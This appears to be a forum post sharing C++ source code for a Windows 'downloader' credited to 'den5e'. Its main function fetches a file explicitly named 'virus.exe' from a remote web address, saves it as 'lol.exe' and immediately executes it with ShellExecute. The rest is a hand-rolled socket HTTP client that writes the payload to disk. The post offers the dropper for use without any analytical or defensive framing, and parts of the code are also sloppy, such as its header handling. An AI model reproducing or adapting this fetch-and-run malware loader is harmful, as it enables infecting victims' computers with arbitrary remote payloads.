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C++ Downloader
کد:
// Downloader by den5e // 

#include "stdafx.h" 

#include <windows.h> 

#include <iostream> 

#include <string> 

using namespace std; 

#define BUFFERSIZE 4096 

bool DownloadFile(string url, LPCSTR filename); 

int _tmain(int argc, _TCHAR* argv[]) 

{ 

    // Download file // 

    DownloadFile("http://www.link.com/folder/virus.exe", "lol.exe"); 

    // Run it // 

    ShellExecute(NULL, L"open", L"lol.exe", NULL, NULL, 5); 

    return 0; 

} 

bool DownloadFile(string url, LPCSTR filename){ 

    string request; // HTTP Header // 

    char buffer[BUFFERSIZE]; 

    struct sockaddr_in serveraddr; 

    int sock; 

    WSADATA wsaData; 

    int port = 80; 

    // Strip out http:// if there // 

    if(url.find("http://") != -1){ 

        string temp = url; 

        url = temp.substr(url.find("http://") + 7); 

    } 

    // Separate host and file location // 

    int dm = url.find("/"); 

    string file = url.substr(dm); 

    string shost = url.substr(0, dm); 

    // Generate HTTP header // 

    request += "GET " + file + " HTTP/1.0\r\n"; 

    request += "Host: " + shost + "\r\n"; 

    request += "\r\n"; 

    if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0) 

        return FALSE; 

    if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) 

        return FALSE; 

    memset(&serveraddr, 0, sizeof(serveraddr)); 

    // Ge host ip address // 

    hostent *record = gethostbyname(shost.c_str()); 

    in_addr *address = (in_addr * )record->h_addr; 

    string ipd = inet_ntoa(* address); 

    const char *ipaddr = ipd.c_str(); 

    serveraddr.sin_family = AF_INET; 

    serveraddr.sin_addr.s_addr = inet_addr(ipaddr); 

    serveraddr.sin_port = htons(port); 

    if (connect(sock, (struct sockaddr *) &serveraddr, sizeof(serveraddr)) < 0) 

        return FALSE; 

    if (send(sock, request.c_str(), request.length(), 0) != request.length()) 

        return FALSE; 

    int nRecv, npos; 

    nRecv = recv(sock, (char*)&buffer, BUFFERSIZE, 0); 

    // Get end position of header // 

    string str_buff = buffer; 

    npos = str_buff.find("\r\n\r\n"); 

    // Open file at beginning // 

    HANDLE hFile; 

    hFile = CreateFileA(filename, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); 

    SetFilePointer(hFile, 0, NULL, FILE_BEGIN); 

    // Downloading until nRecv <= 0 // 

    DWORD ss; 

    while((nRecv > 0) && (nRecv != INVALID_SOCKET)){ 

        if(npos > 0){ 

            char bf[BUFFERSIZE]; 

            // Copy from buffer from end position of http header // 

            memcpy(bf, buffer + (npos + 4), nRecv - (npos + 4)); 

            WriteFile(hFile, bf,nRecv - (npos + 4), &ss, NULL); 

        }else{ 

            // If no header found, write as normal // 

            WriteFile(hFile, buffer, nRecv, &ss, NULL); 

        } 

        // Empty the buffer and start again // 

        ZeroMemory(&buffer, sizeof(buffer)); 

        nRecv = recv(sock, (char*)&buffer, BUFFERSIZE, 0); 

        str_buff = buffer; 

        npos = str_buff.find("\r\n\r\n"); 

    } 

    // Close connection and handle // 

    CloseHandle(hFile); 

    closesocket(sock); 

    WSACleanup(); 

    return TRUE; 

}
Amin_Mansouri
